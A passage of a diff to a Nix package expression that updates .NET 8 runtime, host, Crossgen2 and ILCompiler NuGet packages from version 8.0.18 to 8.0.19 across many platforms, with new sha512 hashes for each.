+        hash = "sha512-jTF36xYRwLtBq67lUy2IBUZzsRK6nTQuduGtaaWUqO6YcTb15SzN17MeJWanD1nEeleKWR1AL1GJb2cAsEnUiQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-BHJH9up/pokbEYBvkKih9QKnf/UmLXvX14m2lZZbVOvLgB6NR4Z+6ZOojuEJVmdFsWl7Ai//KYfc4sz1zewwAA==";
+        version = "8.0.19";
+        hash = "sha512-EryMsQIZXDc3NLdZ2c14LV7XxkTtIJrF2e4uVE8Ycvqo6PiBZdUiuNEe5HI/wsMyOx5TJJWVW8M5bvykSFNUpQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-Ymgqi3mVAYXktoV8Pm4uJk87tmoUsGNiDE6ixMghaSnrBzeJQHgiOgC08Loi5tt4GeAzKuofF9VWrST2Cr+mkw==";
+        version = "8.0.19";
+        hash = "sha512-ovKKlV/bfPMcOX2NIr7QXZwZceFSqFwwzLdYNZI1sm9WsXuc3oYrwUoWwcyjXobAQGo1pY1QW6l2eU6TFIDBVA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-JOnFBpCCSH6jp2wohLNBKeDXUfU/ZyF2Q8VALOqOh3oWicvO9WPw5skyHzuV6k/ClnKIhLZmJWF9sDIaCB1KXg==";
+        version = "8.0.19";
+        hash = "sha512-YuSYCslUdV+10cBI5q3oIxVPFWeQPXMAnkdKpZtOFNCPy+1I11cali6yKe++Dq1LeYAhviLbYnnL+1nFPP9jPA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-fQNP3JTHUnEkHnXnRuH1UBs3SyTzf3pCoMA1stExgShCQ5tR4LKKGu9OdEG+2QdmJMdMSunnU3CL8/UbfU/4XA==";
+        version = "8.0.19";
+        hash = "sha512-KHOxnCTTVWjYhItEHUi437lfjTz7GJDN7UjUILN1qe0q1i0kFA+2HdQwKt/SKBdF9iMJiDS/XotD+EOYbWSS6g==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-+F4XZgRh6v/UaQwU8iJ8JzHrhtWTLICXJ7lEv/PvqD37VQY/2irYLo4tCpZwLIfeZAldv4Sc+LeH5EcRov7Izg==";
+        version = "8.0.19";
+        hash = "sha512-cDvawzOkUtG+BMHhqrwAu3F0AZIXoeMOMAx43x5zH1XerKAGh09ggu53jnIByHmYHI2F9Wze2fSwcmNm2akkgg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-stToQ45BL6fOk6arYUcYiRF5gX244Bju/GS0UKJyYpf61SFVHgiOfZtqciFWWEGTc0xuEHURjvNij4FTTYYs2g==";
+        version = "8.0.19";
+        hash = "sha512-X4Ku+V3mehusrwoGqQ6PSoWfvCe5cMepsoKG3JSylJsd6CL2MzMBQa6CZU8ByB29JE/dwOo7MmYbNsxdDACq3Q==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-n4956y81CtgHtzxRlLoZs9no1NeT6vHtHh00RTHST7m55eMV2Tslm/5k0Jo1Xo/T+50QmZqlGSfTH4hLpwEh2Q==";
+        version = "8.0.19";
+        hash = "sha512-MnPFQfcebuYBLfIxKrzO/z6fNGhUpm8JMtDkoX9zm/OitWkHBpYhPANnz4baao8t/X6xvLY4jgURXurqt8VWIw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-xFWpgrb2yEEo9TKsT7Xpoj1lHemgKVYHW8kyego2xES/aUl3Rb9IO4hEcC3aAVcCpBp4M7+NrfhQrqhq3nI5pw==";
+        version = "8.0.19";
+        hash = "sha512-eGiP0kagfsqjLFYuW21kAriFJ0EdThyCpPoB1657p24cg4Xhd2Yeh97FU9pb0UAZA4zqjhqcCmqWvcAbyx5Oig==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-VsnN7b4GMKgq1FcJY7Pn8m3HWqdpZGjuAyUH9eIlvQGV6vzc9hvHIJhmDPA+hSvbjXshoa557IMWOJsGABo7sA==";
+        version = "8.0.19";
+        hash = "sha512-pBo4JhEGeCG627NFpSO7+KJgh/DPcjuz/bEgZ6dRHXZI/bDmyjLTGJQvyvonW7jhgbxgBbo2WayHCrgHFA74Zg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-AA1LHIUoiWZG3qg0mRh0pBhnm7eKygNRk//A2OUpqxpbdWk5TnD0s2vuYqwonqonW9ykaMpP+inmyCB0fpYvtA==";
+        version = "8.0.19";
+        hash = "sha512-0+1JQFBD8qKmK1j+5VyY/5fLUU5lKt3oKLqDnIE0KZlJc9uJSi174JsEqF6rjrEtWRPXSaDd5QuwCUzeEuKd2A==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-sm5LY+hvq9/nxI3lurUwr7fu/abqb0DAos2ItezewQEGT3A0mNY+ZzawaX/dTAAivl+eToCMLi+2rH+OrRR3gQ==";
+        version = "8.0.19";
+        hash = "sha512-dBj8Xuk6EbKF/UdeP7e40ULe1XDBTBy4W2EzYBJoaZ8+Qi9LY9PbsEfrXEc94/o0cBM6vPiBNahEpJcS+ao1iw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-3uhlEm4Q2OVGEjmcaW0m6BvM93TKaJ3UDs5Ilehn+y6ZIjTZCqG5Svs7QcXrBFDlJX109TtPV8pPB6eCE0O+6A==";
+        version = "8.0.19";
+        hash = "sha512-Jfu88czW2sKACGPJ/yMV6UEiPUI8yiodPd24p6LAPRUCX6CI7UbEc30cCAmkN9TuEt/zAK4dKG2hs3isfdjpNA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-3E91cZevql0JI3Gqvxr9Ek8v6Bz8X7+CERVhKioz20407oziovUgfQPjcpXZ4maXIYB3Rg4qo8Su97dJRfYlPQ==";
+        version = "8.0.19";
+        hash = "sha512-UjZI9mQLY4k8jwdq9NgyzfPwWxDmEiT2ahqV8a9AXa33AUKhXr1X4aW22e5QSUZF997psI0HI4DAYgnRrZN6vQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-sbWou4XTgFm96/sKC6ICivQA2OUwjEHMdk3qhW3oR0HeFZNyGVfYgydgfmIhv+NPtxA9ymBtYT0Qy+Qzug5VXg==";
+        version = "8.0.19";
+        hash = "sha512-MV6poe/eVPrbO3CQvQNn3RNIymVBNWJ7updS3aSZVhlL9IZUuw0Oyn92pi8Fd3qOWvZQcdireVua0AWBmD14Hg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.18";
-        hash = "sha512-ZZn4xQQamT5qjamOth5sIXjGQ93/1Q0zTMS5OdlmGEPQgnIXqscaGHa4+keV92x3ZkdYWiVfxVWJ388PS958FQ==";
+        version = "8.0.19";
+        hash = "sha512-AQJC7awIrQnM6TIj1ZrWaRc3HveorRrQaGxfCd4Gdn/RFJXkiETDSUZuakkHLmND1HUcBWZ003UlJasJoDe57A==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-laTLzCURbEEC+X+WfJNkDXfjk+s/9RExjWJ+qELrBw7ekhepQKFq7h5fVONVcRdI4GSkpG0bETwa6DXPhi4iIw==";
+        version = "8.0.19";
+        hash = "sha512-zkLC9ydX+0bsZWrJxWsWM/8LPujWC7Z0L6QHdYehClKa4Lrk3glBex2O5q2QirqLjCFDjYRMw7KSyO4CUGv5ng==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.18";
-        hash = "sha512-6qw3f6QPWExHGdMEsw4s5DmtN8BLBXzsFMH7x+7hjdnZvfx1eebZdY610kYGz8Q/tcd0sLa1TXMcrF2CpxixNw==";
+        version = "8.0.19";
+        hash = "sha512-ECYlGtxCIAHIMQRTjTrrAG6O+iTP+2LV8g02ttgII6BPw7fpsViPtYpgXAKMx2SW3NjlS9ePxXS+LsDmJ6peKA==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-97IplAqXG0a6rE5XheNUd4Gaeutsoe0TtCg/rI0h4qrUbCOErcuf/w4OmoQMKPV8WQzIUejA35EziyaulL0/EQ==";
+        version = "8.0.19";
+        hash = "sha512-CXwG/jLFrC1njHjZnwI0cDjd7Q1CQPGAn0HFM9BekI3xJb3MtlfPyyx0jN7NMsejToWeXgw6wlQ7rLCxwcGREg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-a9au+YLLDhwln5XPD0ryW0+L7cq/OZWlNaOSU6N5uwiL466rrJ3cevkOeACO6LBFmWCm9/mLzEY6XwUD+O85Gg==";
+        version = "8.0.19";
+        hash = "sha512-He223oJT1MMpZKYApV4yb8KFrP4x1Ei+Z2ovHubJ9IYJxApvw17R8GfCVWYDwQiUITd5xxfXQZAvq9Uhzrdumw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-DceneYsM3IeWIEZTAQWvpMhK9LUEWpse8gE14iyX1EHCmX5ZPyla2LFC4KPzo5sEFjfxxUXL1uH6P4wgegBa8Q==";
+        version = "8.0.19";
+        hash = "sha512-Bb8wAYk8zTCXwd25mOhVQg/wXQrRxQplxD0t189tfRox90zE4QSWPljMR61AAeuFvnAmFHX2/WJtYXq3tjSrRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-CddApCtn25IXLSFNGjqhNSNARB4mVJouJmXaIrdNdk2i6FlHQzt9ocRRNHQcCyds2vd7Xpevci2KcxA5ve+7kQ==";
+        version = "8.0.19";
+        hash = "sha512-kaSQrToRQW4cNifw0bHzfFt8bXJb0bxYYXzOm6sKdw+MAMO5fIIybr3DpLSGLmqqz/B63Jz22Fx6OoVFw7G+tQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-/VBwWQ5g9ILmScK/BnUHc0+gwuKE/Hcwn4lrc88dywLo4d1mmgciFRAK9y9vjSqdK4LnSeDYoNV1Up64P9nlvA==";
+        version = "8.0.19";
+        hash = "sha512-XNqp2Kf81OCORVhDCLUUVIyQWmnTW+xqdeKcv1/DWUwE0Bs5jzhpk/LmE0yRoduTpXAyYkPRWpxWZGOVa2twVg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-oFfmKhY4Xi0ulGkYMLkSQpx3tSX9aBG1vld2I4pSyN18mvkDATyWoaR1hH/xGNT8J1Zkq6X13ugCoJCeNc+jQQ==";
+        version = "8.0.19";
+        hash = "sha512-91csMX2qwGariQVFLhCOX6sRywEuX+qoOht0GgjmqmaKI2JxEleCJEMcJ+n7RqieSia2txmVzeHYDED3+5xlKQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-Tcsp8Jlthe8wsFdO6Nn57uO5sbkYBa6qyrc2DSpC7k6pLbrGZ+PRZ5fnl+6iHpPCoABCAMvhvwu9CLSriRhJ9g==";
+        version = "8.0.19";
+        hash = "sha512-fivtZRiA9IH/8JqTnXxVfQ4cak3hnte3tZLgPQ4z47/xAxcvz1nRjHRbblIl3FEfGvj3oHJakbgttSvvwdrI3g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-8YTjgbM7KXUy8iGyatSNmhVDDaQx7tuHoHtO+LWOkusuh7XNdcBXl60P4ESUNRz/Vndhyp+fXE+S1dGgYuabJQ==";
+        version = "8.0.19";
+        hash = "sha512-gP/Qk9rYTT7upplXUbUmhMnxUC8KcJWZ3dLFdW0zQ78zxkfkIDbJ60HQQetEohnhUbOCX+/j2N/oEzeLrESGFw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-LKWL8GaVV+r8yqsBx3PnqM8o8DwkdsXY78RVu812ii/roK/F3Tj3cAcBkjdX65jun3xDwCY5Sz+4PNfitGCHPA==";
+        version = "8.0.19";
+        hash = "sha512-RZ4+PXfM587j+4jVt5fMFvx3qy1OkR1q4Ztj7LekJBCidfkNcmHI64sVm+ev1nS1xhBQNgdCLRFa8VUqqPSgFw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-L4qih+Oj2RQrRC1xivu9JwIFyktVZ9cYzeEPX8IH+qOnmXUW9KWTqvj6axLmCsibDpZQQktGvVSo87B/HeO0+Q==";
+        version = "8.0.19";
+        hash = "sha512-Y3BL9qgrcCZBZVlM3anKLX8F2atrzvCm4gxED1hTxJGQyCp24xEaGKa6BRfq5NdQO4sKOS3UWDM/XB6qr4yx+A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-uAvqaMX+UBsF6kcjSJsrDRWwQatSWoab6Zs57AEsgNBSImUJ469cWv9ByjJrUxqbcFiiJuOd0ERw1Zz2COhawg==";
+        version = "8.0.19";
+        hash = "sha512-29KXiTrQ5adugytgWnZfdBSyBQHvlPwuClP4RyR0DRERHfMFWfZc+IFYCvqr1LLquPBR2Ev/xO4SgOfgQyu9kQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-1NPmjQAfTKpcqdKCbP+lCv2oeltqjZsCIUi4bzffAqjgKMXQ9GVJwNTRVAF+IUW2t8se76Si8tnY1aPQVZ4rcQ==";
+        version = "8.0.19";
+        hash = "sha512-ppU9Qz/PQ6ilQze2Ep7iG7KCzjMMWnd/JxY0c7oYeJfT9yTjBZOZeu4CHM8Vi0qewih1fI521CsIbvBKLHndSA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-t7s5+Z9f+HQaLEoH8dFKFsigURWEtbX/4DTVkbb61PcbsO0SqGO31V8zEoyzOtfddaifURFbFA42aODv6vqHcQ==";
+        version = "8.0.19";
+        hash = "sha512-jIThUl9XLKaVo+bTUtNzO03JAvmP/mc8Tqcc9xSCvf9TzroV/MrapKju/iN+zNFeS5OnJIF3doKEbYnKnCWs7g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-Tw+xdAhQGksiV7p/CKP6A5ORVbxEvnfiZWPQ2YAMHIV6h8Dg280+U9PBv/yCtIRgPbdBWnc8EkwJS6J4/Gn2pA==";
+        version = "8.0.19";
+        hash = "sha512-zQlXKZ7Lcmy5iGGIFj1dGAdAGysgJm0r67quupe3tlBxHvi17Pntb+zesPSp31kaX+gqLdVWLylBLnb2EF41bg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-9lTB0xWTtaCf5dfxpSxqbMmA36UKhSV39ARu3jjxnQgHVBoHoS2z2k/LD7dkZOJA7Pdu+bxPJRHCDKg45CAmOg==";
+        version = "8.0.19";
+        hash = "sha512-XuYUWuqO1rOCKgU0T0OHgjdlYg1xYzZC/LnIoM1UBV+RiByUVCDlNmctSNlNm9nNOHVDxrDGMJmjG0LH2/66dg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-6wPjZestzQO9qWYph3USKofrCRIEzRGIkPq2rjfObqCBFM7f288rVsaoomciMm/rzNk/IhJJUOakHyBna160Gg==";
+        version = "8.0.19";
+        hash = "sha512-+tKz3/AS0uatyMFciALifG0HF25uRxYOGfMZy8FIg2xrkjW1xDKg/Aqk2kHu5K+yxpO3ez8yutqG7AZjGO2bAw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-AK7WYWP8zt+AFyORdzikH5ZMjATQ/piP8B0+v/sHWa0qz+l7R7VT8xnVxadn709XeWHYtsB5B+6UQ15i8JrAqg==";
+        version = "8.0.19";
+        hash = "sha512-OVA3+spWeTytk2DCo9syBHUmc0K0Yqyh+AvULvV9S4rAsdmgjKDARVNYcImDhMqRTTzX5r4uczoWnBN7wPqEtg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-DTOaAtQ/DKJvjBZCxlevKgBmI682/GyFgQ4mY3lZGTlwB5mSBm29zzj15ptdNpJkXwCaWZO/zmdz1UGxSaNIIQ==";
+        version = "8.0.19";
+        hash = "sha512-A3KMblUwJ9Zezrr/lX753sK8JamQbN8T7W/c73PXXlnikdvGSDJh78VtyMAeMPfYlwJQlunSAK0GmYBTaT6hnA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-B2b2WffuthV380wKbW45bXMng1/CFF1ZoCyvZif09VxmKLvYEl9QTyWRGXhih64sGXDnA5wZ91TuzIynaWLMzA==";
+        version = "8.0.19";
+        hash = "sha512-vKT8qP8s2Q+Eef3gvp8dBhqAmspLUjrc5EpfGBuy8ALUhZhKCZUXPuvwx5QjkPTcOb1hOUmEcOAenQ+WEbvnFQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-6Xfg1UtpRheZIkRy/xBqkR7H50NAzE+Ww8cfUPCbHtfUDTM9MyCtmk2LTeIZQu0Fg1Dfr+esPWS4ieYTDufoNg==";
+        version = "8.0.19";
+        hash = "sha512-6OEEohAtoOS4ep+vSrKXi8/Vu4jIRD8woZkwh3Tt0QtT8xV1tmWeNH2jCr76sP3FbIJaVZ6NHQRkrZfov9yxig==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-uZWrqquGM0u30M+1cNjLEiEu6284pQ4qpRVNzQhP8JkwlC/lPlXmjcIkJkn8ruq7wfP1oENi1cx90W5xW5NPdA==";
+        version = "8.0.19";
+        hash = "sha512-GLxAezIXi563N2/q3n8KRxYuhcJaLGJth1gd+G+sQJw6uEv51YPP6s7DsBgewF6VyXDDnesLTGnkv8fkPyWPKw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-K/PztujikPjSxTGPYrtphyblzO5uk9Jt4oR1RpDcqWsKLH2jMQnKe1+HrD0XHXVIstqMOSwIdoGnxAsG0ft0sg==";
+        version = "8.0.19";
+        hash = "sha512-H7e34VBAQ8P9afWKyKn8u2FMGkx6SPqwxk59KvvJNXGE1tt64Y1xcjtoKWU7yY/xgRNyW/7BxBjyjGs96HG9BA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-IlY9MhVGjEcm0kZaetRqJUESID7eo3C1xzVz0kwrcrKJl3wGEBL/7K3BjgLej0UKTi47mIqxWA3vWe0i8JdnBw==";
+        version = "8.0.19";
+        hash = "sha512-MaZramDW2KIdn5sn5IaHGpdr9AvLbBwh6TNzDb8GyzJX1BXzy0QIQPBGM95uiZ7bPZXovgvM/P2myS3aChOX+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-el5pvDgxwTJDJHTQXNtlU0umzSN60rn+e2LqjrCp52j8vXBjD8mC5qg4q8f/OddzWlUqIAZSe956fwZzRfhMeg==";
+        version = "8.0.19";
+        hash = "sha512-Elc+6ExneINHtEnt4Iq5M9s3t0HEJN0dqPaWMHsag5dzGi6Qx69XboScBNWQhRTKMxoKYihPOL3pk5t4Df5rOw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-JMmBY2t+Lz5EalgDD12mE0k/VgoS+9oMfordQYMZIpKxiXvyFCbhAo03PqClCK9VvfJpw0Sr4O5G8vli1Wa+3A==";
+        version = "8.0.19";
+        hash = "sha512-vl83UEXMS2sVQ5vPRPAr/KX/6gqA3VxVuuzdN4rAo/d1dFK6cFyMLVubcCxIYxSIetaLXLagjWxwKT7TE/E6Zw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-GiLJOvS8t/Al3a3WxYBPbKMYBo0YYcfKPtQ8/TFBZMUct3yx20DsXhv1qX8OxxEDePOBNzSgbxRb7RKFvjOeIQ==";
+        version = "8.0.19";
+        hash = "sha512-qt3IKRfsRC01XEGZYcMK2Na4Ji9J8BFoLTccxVweCNiWxr5QYCTXuAlSCtXPaYtxM0W257peDibq5GIVD2afzQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-yi6TOgXCO+6xR9knQR6Efqgku9pEyKG8LpVHLtCfW+pdZT2m/Pu0s3LTNVI1EV34c9vg0m0CfFvMlu8P01n0VA==";
+        version = "8.0.19";
+        hash = "sha512-GfV9610N8O7/5aKSauBTA96FAk64ukA3tCZXRjwZrFM3OENfZV2T8NsVSC34lslpaotKxUC7nmQp0ey5nzaPYw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-J24jZqdMfbwzk4nd8At+EefD/oilsu7umb0bicUA0WKY1qVVNUVGTvWnoO+bK/ZiPv4SFjYdn4gZARqUEQnorQ==";
+        version = "8.0.19";
+        hash = "sha512-3z1K3i+s6eyJ0/8OXrW3J6n4pIDv2bQ0pptDpqUuPv1ghiw5BJiF9Vmm1xxhi+HLZkc0wz9Qfg4OAoAyiYE7xA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-DxjNTxOiG2FQgkEYUgZ2/HFMvLo8yclEUma89dpC4BSVn/7OFZldEvEkKKUDNhLJZMv8DUXb+6snXy/nAPYUfQ==";
+        version = "8.0.19";
+        hash = "sha512-W39Zdgq9WUqwd0jY68BWcl9ufhSWtDYwoZB+VAkNauBs0r5yetHsvnkXJAQPli7/d7EVLfhpqhQb+KKcJdFpRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-c/4bi47f2sxg6FXsbVcfChfl/FHf7xN6mPUKqNIRReisvv67bt3utR6OgpX+PkbbdA9ojEfODVljSXQRrluQ/w==";
+        version = "8.0.19";
+        hash = "sha512-kRSdI5ex95sqFc2DBQ9sddp0cRLAdy150AFVdK1LbwyoYceP9OrEgp2gImAC2nvsFPh/ol8XioV4SHwPss1haA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-v+40oF6eORT0Z970gVunxVxIniO5IPg0ArlT/lt5E6rPLapmfauIT06v42Bzqf1JGYY/A4PCyEAlaSchGW6nEg==";
+        version = "8.0.19";
+        hash = "sha512-bTvHoP75ZewPL2+dt0fdwKBgEGxZxyQLLc4KspJ2z728QXBtAdvdjoMoHwbOyC//oApzcB68v7jP5ADmfzk5Rw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-Y6AHcXcoFbZ+ZNs6M/SnQieZHPd2I5isi9mviZ2svHqXsUi3GIC7wLHj+SrJpv27UpWVTJqcGoalEz1uNO7KYw==";
+        version = "8.0.19";
+        hash = "sha512-bBiA+tLA5pZOrtC4u9KhUlh8mcXFMZoUmGLDII4Iu5uJxWoq2tox70OHOgjwbHF83Q5600xAX/lJ4cNw9WVIJg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-eO5zIpPTMrTUtDF4jSRL+3///bPp8KD/j54Vyni3hE1N7GW/0vivulh8eRqSGA5u2JqXnlpjmRKhgmR3Qcl3Ag==";
+        version = "8.0.19";
+        hash = "sha512-rTUR6aubOfJFQOnmWuYhhzWQfT2SgnMXNglHXNTk9uod+C+P20ZaiJGU0YUObsNhi52MeTObNXPorBBqk5yKqQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-dExyzX2A3z937eyzaU246VKWCTNu7SvZtcS7rENtnJ/0xjQn+b9mtGYlr9QwmnlpYGME4gDwxiYNz0AH2oFC9Q==";
+        version = "8.0.19";
+        hash = "sha512-s4W4o/3xrWkMYmpYeRVk/POlelIZ1XuHvVFhC760mVp8jN1zvyhJ5anAR2DKBOP8RhrMRQAyvv6g+5yYG/b1HQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-PjOZbnpXMRehVGAo45UAl/svvu7JEdQ+RTN4bcvOohJ0mgUtZJxHijaLRFqegEkC/HLysPCMIRS+NdoySgdXPg==";
+        version = "8.0.19";
+        hash = "sha512-nFTMBMKK0daVxvMxE0ORujxVBRSbdfBDZ9em4i4rbipCjmy9tFMbyzTccG3HykaG5X8czARrWs2zZMMRjwnNRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-cYSafamQCxV6XB7HeLpsnzQChF9USa+gVUwXZZGd+SC3vInvWA3WJ0E6CpgHPzn2zTrBmoDmPVaknQCNklRlrQ==";
+        version = "8.0.19";
+        hash = "sha512-Jvzq5CmlYbc31/jf36++T/7PLMzkD5PemLeIM9i1lo8R53yRT8CjoyJhJ1GXWrdRCdwEqbGU2LDDCp10lWSyhw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-nV5A+iQQX+vr0J9AJ5zf/sPXFi8T/zge2RLHwTiA8PhgPFrGSIqQN4Iu6l/xibmgOoKGOcN05Zx+4jD3FBc/+Q==";
+        version = "8.0.19";
+        hash = "sha512-ZEiEHIQnRNuCJpyuUqtIDgS+m6ZtlHSuDwqxdnEUV8RQtsgcLGF4kMnr7sfw/BjjRqLwf79lcRCiOFWVrwiiZQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-0J8wYGosbk8+57fCrT4Oz4tWngsoTTooDiZg/SGMx1X4eR3tNRVbDfXSzXHwk5JwbCCAPMdk0zOPnAy7VqYFhg==";
+        version = "8.0.19";
+        hash = "sha512-pdJKTqFZEnWjO7YX3c1FU+gGB4/l+tILT5cDzRUUxf3hkUT8FeWzxcYLUySWk1MyoQcHLbyLvR1rygGbOf2y0w==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-Y1BIY/IjQxEjj9xN9Ws3QXE+xwQTS9Ud7oyKqpxjgW5nYiFkzIBHntB9GTvIPsob4KalmgvspG8pbd32YcW2Lw==";
+        version = "8.0.19";
